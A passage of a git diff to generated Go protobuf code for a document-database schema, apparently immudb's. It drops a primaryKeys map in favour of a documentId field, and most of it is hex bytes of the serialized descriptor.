protobuf_val:"bytes,2,opt,name=value,proto3"` + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + IndexKeys map[string]*IndexOption `protobuf:"bytes,2,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` } func (x *CollectionInformation) Reset() { @@ -1076,13 +1075,6 @@ func (x *CollectionInformation) GetName() string { return "" } -func (x *CollectionInformation) GetPrimaryKeys() map[string]*IndexOption { - if x != nil { - return x.PrimaryKeys - } - return nil -} - func (x *CollectionInformation) GetIndexKeys() map[string]*IndexOption { if x != nil { return x.IndexKeys @@ -1420,14 +1412,16 @@ var file_documentschema_proto_rawDesc = []byte{ 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x22, 0x4b, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x22, 0x6b, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xbc, 0x01, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, + 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x22, 0xbc, 0x01, 0x0a, 0x0a, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3b, 0x0a, 0x0a, 0x6e, 0x75, 0x6c, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, @@ -1469,255 +1463,209 @@ var file_documentschema_proto_rawDesc = []byte{ 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x99, 0x02, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x5e, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, - 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x1a, - 0x61, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x37, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x22, 0x4a, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x70, - 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xa7, - 0x02, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x5e, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, - 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3c, 0x2e, 0x69, + 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x76, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, + 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, + 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1e, + 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, + 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, + 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, + 0x65, 0x22, 0xa7, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, + 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, - 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, - 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, - 0x72, 0x50, 0x61, 0x67, 0x65, 0x1a, 0x61, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x37, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa7, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, - 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, - 0x66, 0x74, 0x22, 0x64, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x43, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0xb3, 0x03, - 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x61, 0x0a, - 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x3f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, - 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x62, 0x0a, - 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, - 0x01, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xad, 0x03, - 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5f, 0x0a, 0x0b, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x50, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x59, 0x0a, 0x09, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, - 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x62, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, - 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x60, 0x0a, 0x0e, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, + 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, + 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, + 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 